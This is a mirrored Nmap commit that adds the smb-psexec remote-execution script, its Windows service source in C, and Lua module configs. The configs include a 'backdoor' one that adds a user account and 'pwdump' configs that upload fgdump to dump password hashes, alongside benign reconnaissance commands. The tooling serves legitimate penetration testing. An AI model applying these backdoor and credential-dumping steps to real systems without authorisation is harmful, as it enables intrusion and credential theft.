1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-06 12:41:29 +00:00

Merged in my changes from nmap-smb. The primary changes are:

* Updated the way authentication works on smb -- it's significantly cleaner now
* smb-enum-shares.nse gives significantly better output now (it checks if shares are writable)
* Added a script that checks if smbv2 is enabled on a server
* Added smb-psexec, a script for executing commands on a remote Windows server. I also included some default scripts, a compiled .exe to run everything, and a ton of documentation (in the form of NSEDoc)
* Added 'override' parameters to some of the functions in smb.lua, which lets the programmer override any field in an outgoing SMB packet without modifying smb.lua. 
* Lots of random code cleanups in the smb-* scripts/libraries
This commit is contained in:
ron
2009-11-08 21:31:06 +00:00
parent d650503778
commit 7d67b08e66
22 changed files with 3875 additions and 565 deletions

View File

@@ -0,0 +1,28 @@
module(... or "backdoor", package.seeall)
---This config file is designed for adding a backdoor to the system. It has a few
-- options by default, only one enabled by default. I suggest
--
-- Note that none of these modules are included with Nmap by default.
-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
-- 'overrides' table. Most of them are not really recommended, such as the host,
-- key, etc.
overrides = {}
--overrides.timeout = 40
modules = {}
local mod
-- TODO: allow the user to specify parameters
--Note: password can't be longer than 14-characters, otherwise the program pauses for
-- a response
mod = {}
mod.upload = false
mod.name = "Adding a user account: $username/$password"
mod.program = "net"
mod.args = "user $username $password /add"
mod.maxtime = 2
mod.noblank = true
mod.req_args = {'username','password'}
table.insert(modules, mod)

View File

@@ -0,0 +1,144 @@
module(... or "network", package.seeall)
---This is the default configuration file. It simply runs some built-in Window
-- programs to gather information about the remote system. It's intended to be
-- simple, demonstrate some of the concepts, and not break/alte anything.
-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
-- 'overrides' table. Most of them are not really recommended, such as the host,
-- key, etc.
overrides = {}
--overrides.timeout = 40
modules = {}
local mod
-- Get the Windows version. For some reason we can't run this directly, but it works ok
-- if we run it through cmd.exe.
mod = {}
mod.upload = false
mod.name = "Windows version"
mod.program = "cmd.exe"
mod.args = "/c \"ver\""
mod.maxtime = 1
mod.noblank = true
table.insert(modules, mod)
-- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup
-- to end up being usable and pretty.
mod = {}
mod.upload = false
mod.name = "IP Address and MAC Address from 'ipconfig.exe'"
mod.program = "ipconfig.exe"
mod.args = "/all"
mod.maxtime = 1
mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
table.insert(modules, mod)
-- Grab the user list from 'net user', and make it look nice. Note that getting the groups
-- list (with 'net localgroup') doesn't work without a proper login shell
mod = {}
mod.upload = false
mod.name = "User list from 'net user'"
mod.program = "net.exe"
mod.args = "user"
mod.maxtime = 1
mod.remove = {"User accounts for", "The command completed", "%-%-%-%-%-%-%-%-%-%-%-"}
mod.noblank = true
table.insert(modules, mod)
-- Get the list of accounts in the 'administrators' group.
mod = {}
mod.upload = false
mod.name = "Membership of 'administrators' from 'net localgroup administrators'"
mod.program = "net.exe"
mod.args = "localgroup administrators"
mod.maxtime = 1
mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
mod.noblank = true
table.insert(modules, mod)
-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards.
-- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked)
-- when the SystemRoot environmental variable wasn't set.
mod = {}
mod.upload = false
mod.name = "Can the host ping our address?"
mod.program = "ping"
mod.args = "-n 1 $lhost"
mod.maxtime = 5
mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time.
-- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works)
mod = {}
mod.upload = false
mod.name = "Traceroute back to the scanner"
mod.program = "tracert"
mod.args = "-d -h 5 $lhost"
mod.maxtime = 20
mod.remove = {"Tracing route", "Trace complete"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
-- Dump the arp cache of the system.
mod = {}
mod.name = "ARP Cache from arp.exe"
mod.program = 'arp.exe'
mod.upload = false
mod.args = '-a'
mod.remove = "Interface"
mod.noblank = true
table.insert(modules, mod)
-- Get the listening/connected ports
mod = {}
mod.upload = false
mod.name = "List of listening and established connections (netstat -an)"
mod.program = "netstat"
mod.args = "-an"
mod.maxtime = 1
mod.remove = {"Active"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
-- Get the routing table.
--
-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be
-- set properly, so it isn't going to work against systems with odd paths.
mod = {}
mod.upload = false
mod.name = "Full routing table from 'netstat -nr'"
mod.program = "cmd.exe"
mod.args = "/c \"netstat -nr\""
mod.env = "PATH=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINNT;C:\\WINNT\\system32"
mod.maxtime = 1
mod.noblank = true
table.insert(modules, mod)
-- Boot configuration
mod = {}
mod.upload = false
mod.name = "Boot configuration"
mod.program = "bootcfg"
mod.args = "/query"
mod.maxtime = 5
table.insert(modules, mod)
-- Get the drive configuration. For same (insane?) reason, it uses NULL characters instead of spaces
-- for the response, so we have to do a replaceent.
mod = {}
mod.upload = false
mod.name = "Drive list (for more info, try adding --script-args=config=drives,drive=C:)"
mod.program = "fsutil"
mod.args = "fsinfo drives"
mod.replace = {{string.char(0), " "}}
mod.maxtime = 1
table.insert(modules, mod)

View File

@@ -0,0 +1,50 @@
module(... or "drive", package.seeall)
---This configuration file pulls info about a given harddrive
-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
-- 'overrides' table. Most of them are not really recommended, such as the host,
-- key, etc.
overrides = {}
--overrides.timeout = 40
modules = {}
local mod
mod = {}
mod.upload = false
mod.name = "Drive type"
mod.program = "fsutil"
mod.args = "fsinfo drivetype $drive"
mod.req_args = {"drive"}
mod.maxtime = 1
table.insert(modules, mod)
mod = {}
mod.upload = false
mod.name = "Drive info"
mod.program = "fsutil"
mod.args = "fsinfo ntfsinfo $drive"
mod.req_args = {"drive"}
mod.replace = {{" :",":"}}
mod.maxtime = 1
table.insert(modules, mod)
mod = {}
mod.upload = false
mod.name = "Drive type"
mod.program = "fsutil"
mod.args = "fsinfo statistics $drive"
mod.req_args = {"drive"}
mod.replace = {{" :",":"}}
mod.maxtime = 1
table.insert(modules, mod)
mod = {}
mod.upload = false
mod.name = "Drive quota"
mod.program = "fsutil"
mod.args = "quota query $drive"
mod.req_args = {"drive"}
mod.maxtime = 1
table.insert(modules, mod)

View File

@@ -0,0 +1,69 @@
module(... or "default", package.seeall)
---This configuration file contains the examples given in smb-psexec.nse.
-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
-- 'overrides' table. Most of them are not really recommended, such as the host,
-- key, etc.
overrides = {}
overrides.timeout = 40
modules = {}
local mod
mod = {}
mod.upload = false
mod.name = "Membership of 'administrators' from 'net localgroup administrators'"
mod.program = "net.exe"
mod.args = "localgroup administrators"
table.insert(modules, mod)
mod = {}
mod.upload = false
mod.name = "Example 2: Membership of 'administrators', cleaned"
mod.program = "net.exe"
mod.args = "localgroup administrators"
mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
mod.noblank = true
table.insert(modules, mod)
mod = {}
mod.upload = false
mod.name = "Example 3: IP Address and MAC Address"
mod.program = "ipconfig.exe"
mod.args = "/all"
mod.maxtime = 1
mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
table.insert(modules, mod)
mod = {}
mod.upload = false
mod.name = "Example 4: Can the host ping our address?"
mod.program = "ping.exe"
mod.args = "$lhost"
mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
mod = {}
mod.upload = false
mod.name = "Example 5: Can the host ping $host?"
mod.program = "ping.exe"
mod.args = "$host"
mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
mod.req_args = {'host'}
table.insert(modules, mod)
mod = {}
mod.upload = true
mod.name = "Example 6: FgDump"
mod.program = "fgdump.exe"
mod.args = "-c -l fgdump.log"
mod.url = "http://www.foofus.net/fizzgig/fgdump/"
mod.tempfiles = {"fgdump.log"}
mod.outfile = "127.0.0.1.pwdump"
table.insert(modules, mod)

View File

@@ -0,0 +1,25 @@
module(... or "experimental", package.seeall)
---This is the configuration file for modules that aren't quite ready for prime
-- time yet.
-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
-- 'overrides' table. Most of them are not really recommended, such as the host,
-- key, etc.
overrides = {}
--overrides.timeout = 40
modules = {}
local mod
-- I can't get fport to work for me, so I'm going to leave this one in 'experimental' for now
--mod = {}
--mod.upload = true
--mod.name = "Fport"
--mod.program = "Fport.exe"
--mod.url = "http://www.foundstone.com/us/resources/proddesc/fport.htm"
--mod.maxtime = 1
--mod.noblank = true
--table.insert(modules, mod)

View File

@@ -0,0 +1,114 @@
module(... or "default", package.seeall)
---More verbose network scripts
-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
-- 'overrides' table. Most of them are not really recommended, such as the host,
-- key, etc.
overrides = {}
--overrides.timeout = 40
modules = {}
local mod
-- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup
-- to end up being usable and pretty.
mod = {}
mod.upload = false
mod.name = "IP Address and MAC Address from 'ipconfig.exe'"
mod.program = "ipconfig.exe"
mod.args = "/all"
mod.maxtime = 1
mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
table.insert(modules, mod)
-- Dump the arp cache of the system.
mod = {}
mod.name = "ARP Cache from arp.exe"
mod.program = 'arp.exe'
mod.upload = false
mod.args = '-a'
mod.remove = "Interface"
mod.noblank = true
table.insert(modules, mod)
-- Get the listening/connected ports
mod = {}
mod.upload = false
mod.name = "List of listening and established connections (netstat -an)"
mod.program = "netstat"
mod.args = "-anb"
mod.maxtime = 1
mod.remove = {"Active"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
-- Get the routing table.
--
-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be
-- set properly, so it isn't going to work against systems with odd paths.
mod = {}
mod.upload = false
mod.name = "Full routing table from 'netstat -nr'"
mod.program = "cmd.exe"
mod.args = "/c \"netstat -nr\""
mod.env = "PATH=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINNT;C:\\WINNT\\system32"
mod.maxtime = 1
mod.noblank = true
table.insert(modules, mod)
-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards.
-- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked)
-- when the SystemRoot environmental variable wasn't set.
mod = {}
mod.upload = false
mod.name = "Can the host ping our address?"
mod.program = "ping"
mod.args = "-n 1 $lhost"
mod.maxtime = 5
mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time.
-- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works)
mod = {}
mod.upload = false
mod.name = "Traceroute back to the scanner"
mod.program = "tracert"
mod.args = "-d -h 5 $lhost"
mod.maxtime = 20
mod.remove = {"Tracing route", "Trace complete"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
-- Ping an arbitrary address given by the user
mod = {}
mod.upload = false
mod.name = "Can the host ping $address?"
mod.program = "ping"
mod.args = "-n 1 $address"
mod.req_args = {'address'}
mod.maxtime = 5
mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)
-- Try a traceroute to an address given by the user
mod = {}
mod.upload = false
mod.name = "Traceroute to $address (5 hops or less)"
mod.program = "tracert"
mod.args = "-d -h 5 $address"
mod.req_args = {'address'}
mod.maxtime = 20
mod.remove = {"Tracing route", "Trace complete"}
mod.noblank = true
mod.env = "SystemRoot=c:\\WINDOWS"
table.insert(modules, mod)

View File

@@ -0,0 +1,380 @@
/**This is the program that's uploaded to a Windows machine when psexec is run. It acts as a Windows
* service, since that's what Windows expects. When it is started, it's passed a list of programs to
* run. These programs are all expected to be at the indicated path (whether they were uploaded or
* they were always present makes no difference).
*
* After running the programs, the output from each of them is ciphered with a simple xor encryption
* (the encryption key is passed as a parameter; because it crosses the wire, it isn't really a
* security feature, more of validation/obfuscation to prevent sniffers from grabbing the output. This
* output is placed in a temp file. When the cipher is complete, the output is moved into a new file.
* When Nmap detects the presence of this new file, it is downloaded, then all files, temp files, and
* the service (this program) is deleted.
*
* One interesting note is that executable files don't require a specific extension to be used by this
* program. By default, at the time of this writing, Nmap appends a .txt extension to the file.
*
* @args argv[1] The final filename where the ciphered output will go.
* @args argv[2] The temporary file where output is sent before being renamed; this is sent as a parameter
* so we can delete it later (if, say, the script fails).
* @args argv[3] The number of programs that are going to be run.
* @args argv[4] Logging: a boolean value (1 to enable logging, 0 to disable).
* @args argv[5] An 'encryption' key for simple 'xor' encryption. This string can be as long or as short
* as you want, but a longer string will be more secure (although this algorithm should
* *never* really be considered secure).
* @args Remaining There are two arguments for each program to run: a path (including arguments) and
* environmental variables.
*
* @auther Ron Bowes
* @copyright Ron Bowes
* @license "Same as Nmap--See http://nmap.org/book/man-legal.html"
*/
#include <stdio.h>
#include <windows.h>
FILE *outfile;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
static char *enc_key;
static int enc_key_loc;
static void log_message(char *format, ...)
{
static int enabled = 1;
if(!format)
{
enabled = 0;
DeleteFile("c:\\nmap-log.txt");
}
if(enabled)
{
va_list argp;
FILE *file;
fopen_s(&file, "c:\\nmap-log.txt", "a");
if(file != NULL)
{
va_start(argp, format);
vfprintf(file, format, argp);
va_end(argp);
fprintf(file, "\n");
fclose(file);
}
}
}
static char cipher(char c)
{
if(strlen(enc_key) == 0)
return c;
c = c ^ enc_key[enc_key_loc];
enc_key_loc = (enc_key_loc + 1) % strlen(enc_key);
return c;
}
static void output(int num, char *str, int length)
{
int i;
if(length == -1)
length = strlen(str);
for(i = 0; i < length; i++)
{
if(str[i] == '\n')
{
fprintf(outfile, "%c", cipher('\n'));
fprintf(outfile, "%c", cipher('0' + (num % 10)));
}
else
{
fprintf(outfile, "%c", cipher(str[i]));
}
}
}
static void go(int num, char *lpAppPath, char *env, int headless, int include_stderr, char *readfile)
{
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
SECURITY_ATTRIBUTES sa;
HANDLE stdout_read, stdout_write;
DWORD creation_flags;
int bytes_read;
char buffer[1024];
/* Create a security attributes structure. This is required to inherit handles. */
ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
if(!headless)
sa.bInheritHandle = TRUE;
/* Create a pipe that'll be used for stdout and stderr. */
if(!headless)
CreatePipe(&stdout_read, &stdout_write, &sa, 1);
/* Initialize the startup info struct. The most important part is setting the stdout/stderr handle to our pipe. */
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
startupInfo.cb = sizeof(STARTUPINFO);
if(!headless)
{
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdOutput = stdout_write;
if(include_stderr)
startupInfo.hStdError = stdout_write;
}
/* Log a couple messages. */
log_message("Attempting to load the program: %s", lpAppPath);
/* Initialize the PROCESS_INFORMATION structure. */
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
/* To divide the output from one program to the next */
output(num, "\n", -1);
/* Decide on the creation flags */
creation_flags = CREATE_NO_WINDOW;
if(headless)
creation_flags = DETACHED_PROCESS;
/* Create the actual process with an overly-complicated CreateProcess function. */
if(!CreateProcess(NULL, lpAppPath, 0, &sa, sa.bInheritHandle, CREATE_NO_WINDOW, env, 0, &startupInfo, &processInformation))
{
output(num, "Failed to create the process", -1);
if(!headless)
{
CloseHandle(stdout_write);
CloseHandle(stdout_read);
}
}
else
{
log_message("Successfully created the process!");
/* Read the pipe, if it isn't headless */
if(!headless)
{
/* Close the write handle -- if we don't do this, the ReadFile() coming up gets stuck. */
CloseHandle(stdout_write);
/* Read from the pipe. */
log_message("Attempting to read from the pipe");
while(ReadFile(stdout_read, buffer, 1023, &bytes_read, NULL))
{
if(strlen(readfile) == 0)
output(num, buffer, bytes_read);
}
CloseHandle(stdout_read);
/* If we're reading an output file instead of stdout, do it here. */
if(strlen(readfile) > 0)
{
FILE *read;
errno_t err;
log_message("Trying to open output file: %s", readfile);
err = fopen_s(&read, readfile, "rb");
if(err)
{
log_message("Couldn't open the readfile: %d", err);
output(num, "Couldn't open the output file", -1);
}
else
{
char buf[1024];
int count;
count = fread(buf, 1, 1024, read);
while(count)
{
output(num, buf, count);
count = fread(buf, 1, 1024, read);
}
fclose(read);
}
}
}
else
{
output(num, "Process has been created", -1);
}
log_message("Done!");
}
}
// Control handler function
static void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
SetServiceStatus(hStatus, &ServiceStatus);
}
static void die(int err)
{
// Not enough arguments
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = err;
SetServiceStatus(hStatus, &ServiceStatus);
}
static void ServiceMain(int argc, char** argv)
{
char *outfile_name;
char *tempfile_name;
int count;
int logging;
int result;
int i;
char *current_directory;
/* Make sure we got the minimum number of arguments. */
if(argc < 6)
return;
/* Read the arguments. */
outfile_name = argv[1];
tempfile_name = argv[2];
count = atoi(argv[3]);
logging = atoi(argv[4]);
enc_key = argv[5];
enc_key_loc = 0;
current_directory = argv[6];
/* If they didn't turn on logging, disable it. */
if(logging != 1)
log_message(NULL);
/* Log the state. */
log_message("");
log_message("-----------------------");
log_message("STARTING");
/* Log all the arguments. */
log_message("Arguments: %d\n", argc);
for(i = 0; i < argc; i++)
log_message("Argument %d: %s", i, argv[i]);
/* Set up the service. Likely unnecessary for what we're doing, but it doesn't hurt. */
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("", (LPHANDLER_FUNCTION)ControlHandler);
SetServiceStatus(hStatus, &ServiceStatus);
/* Registering Control Handler failed (this is a bit late, but eh?) */
if(hStatus == (SERVICE_STATUS_HANDLE)0)
{
log_message("Service failed to start");
die(-1);
return;
}
/* Set the current directory. */
SetCurrentDirectory(current_directory);
/* Open the output file. */
log_message("Opening temporary output file: %s", tempfile_name);
/* Open the outfile. */
if(result = fopen_s(&outfile, tempfile_name, "wb"))
{
log_message("Couldn't open output file: %d", result);
die(-1);
}
else
{
/* Run the programs we were given. */
for(i = 0; i < count; i++)
{
char *program = argv[(i*5) + 7];
char *env = argv[(i*5) + 8];
char *headless = argv[(i*5) + 9];
char *include_stderr = argv[(i*5) + 10];
char *read_file = argv[(i*5) + 11];
go(i, program, env, !strcmp(headless, "true"), !strcmp(include_stderr, "true"), read_file);
}
/* Close the output file. */
if(fclose(outfile))
log_message("Couldn't close the file: %d", errno);
/* Rename the output file (this is what tells Nmap we're done. */
log_message("Renaming file %s => %s", tempfile_name, outfile_name);
/* I noticed that sometimes, programs inherit the handle to the file (or something), so I can't change it right
* away. For this reason, allow about 10 seconds to move it. */
for(i = 0; i < 10; i++)
{
if(rename(tempfile_name, outfile_name))
{
log_message("Couldn't rename file: %d (will try %d more times)", errno, 10 - i - 1);
}
else
{
log_message("File successfully renamed!");
break;
}
Sleep(1000);
}
/* Clean up and stop the service. */
die(0);
}
}
int main(int argc, char *argv[])
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable);
}

Binary file not shown.

View File

@@ -0,0 +1,194 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="nmap_service"
ProjectGUID="{ECFB8033-F0DA-40FA-9C47-DBE06DAB6A5F}"
RootNamespace="nmap_service"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="1"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
Detect64BitPortabilityProblems="false"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\nmap_service.c"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@@ -0,0 +1,53 @@
module(... or "pwdump", package.seeall)
---This config file is designed for running password-dumping scripts. So far,
-- it supports pwdump6 2.0.0 and fgdump.
--
-- Note that none of these modules are included with Nmap by default.
-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
-- 'overrides' table. Most of them are not really recommended, such as the host,
-- key, etc.
overrides = {}
--overrides.timeout = 40
modules = {}
local mod
--mod = {}
--mod.upload = true
--mod.name = "PwDump6 2.0.0"
--mod.program = "PwDump.exe"
--mod.args = "localhost"
--mod.maxtime = 10
--mod.include_stderr = false
--mod.url = "http://www.foofus.net/fizzgig/pwdump/"
--table.insert(modules, mod)
---Uncomment if you'd like to use PwDump6 1.7.2 (considered obsolete, but still works).
-- Note that for some reason, this and 'fgdump' don't get along (fgdump only produces a blank
-- file if these are run together)
--mod = {}
--mod.upload = true
--mod.name = "PwDump6 1.7.2"
--mod.program = "PwDump-1.7.2.exe"
--mod.args = "localhost"
--mod.maxtime = 10
--mod.include_stderr = false
--mod.extrafiles = {"servpw.exe", "lsremora.dll"}
--mod.url = "http://www.foofus.net/fizzgig/pwdump/"
--table.insert(modules, mod)
-- Warning: the danger of using fgdump is that it always write the output to the harddrive unencrypted;
-- this makes it more obvious that an attack has occurred.
mod = {}
mod.upload = true
mod.name = "FgDump"
mod.program = "fgdump.exe"
mod.args = "-c -l fgdump.log"
mod.maxtime = 10
mod.url = "http://www.foofus.net/fizzgig/fgdump/"
mod.tempfiles = {"fgdump.log"}
mod.outfile = "127.0.0.1.pwdump"
table.insert(modules, mod)

View File

@@ -122,10 +122,12 @@ local LSA_MINEMPTY = 10
--@param host The host object.
--@param path The path to the named pipe; for example, msrpc.SAMR_PATH or msrpc.SRVSVC_PATH.
--@param disable_extended [optional] If set to 'true', disables extended security negotiations.
--@param overrides [optional] Overrides variables in all the SMB functions.
--@return (status, smbstate) if status is false, smbstate is an error message. Otherwise, smbstate is
-- required for all further calls.
function start_smb(host, path, disable_extended)
return smb.start_ex(host, true, true, "IPC$", path, disable_extended)
function start_smb(host, path, disable_extended, overrides)
overrides = overrides or {}
return smb.start_ex(host, true, true, "IPC$", path, disable_extended, overrides)
end
--- A wrapper around the <code>smb.stop</code> function. I only created it to add symmetry, so client code
@@ -3272,15 +3274,16 @@ function service_start(host, servicename, args)
return false, start_result
end
-- Wait for it to start
stdnse.print_debug(2, "Waiting for the service to start")
-- Wait for it to start (TODO: Check the query result better)
stdnse.print_debug(1, "Waiting for the service to start")
repeat
status, query_result = svcctl_queryservicestatus(smbstate, open_service_result['handle'])
if(status == false) then
smb.stop(smbstate)
return false, query_result
end
until query_result['service_status']['controls_accepted'][1] == "SERVICE_CONTROL_STOP"
stdnse.sleep(.5)
until query_result['service_status']['controls_accepted'][1] == "SERVICE_CONTROL_STOP" or query_result['service_status']['state'][1] == "SERVICE_STATE_ACTIVE"
-- Close the handle to the service
status, close_result = svcctl_closeservicehandle(smbstate, open_service_result['handle'])
@@ -3353,7 +3356,7 @@ function service_stop(host, servicename)
return false, control_result
end
-- Wait for it to stop (TODO: Make this better)
-- Wait for it to stop (TODO: Check the query result better)
stdnse.print_debug(2, "Waiting for the service to stop")
repeat
status, query_result = svcctl_queryservicestatus(smbstate, open_service_result['handle'])
@@ -3361,6 +3364,7 @@ function service_stop(host, servicename)
smb.stop(smbstate)
return false, query_result
end
stdnse.sleep(.5)
until query_result['service_status']['controls_accepted'][1] == nil
-- Close the handle to the service

View File

@@ -130,6 +130,16 @@ function string_to_unicode(string, do_null)
do_null = false
end
-- Try converting the value to a string
if(type(string) ~= 'string') then
string = tostring(string)
end
if(string == nil) then
stdnse.print_debug(1, "MSRPC: WARNING: couldn't convert value to string in string_to_unicode()")
end
-- Loop through the string, adding each character followed by a char(0)
for i = 1, string.len(string), 1 do
result = result .. string.sub(string, i, i) .. string.char(0)

View File

@@ -34,9 +34,9 @@ function tostr(data, indent)
str = str .. (" "):rep(indent) .. data .. "\n"
elseif(type(data) == "boolean") then
if(data == true) then
str = str .. "true"
str = str .. "true\n"
else
str = str .. "false"
str = str .. "false\n"
end
elseif(type(data) == "table") then
local i, v

File diff suppressed because it is too large Load Diff

View File

@@ -94,6 +94,219 @@ local NTLMSSP_AUTH = 0x00000003
local session_key = string.rep(string.char(0x00), 16)
-- Types of accounts (ordered by how useful they are
local ACCOUNT_TYPES = {
ANONYMOUS = 0,
GUEST = 1,
USER = 2,
ADMIN = 3
}
local function account_exists(host, username, domain)
if(nmap.registry[host.ip] == nil or nmap.registry[host.ip]['smbaccounts'] == nil) then
return false
end
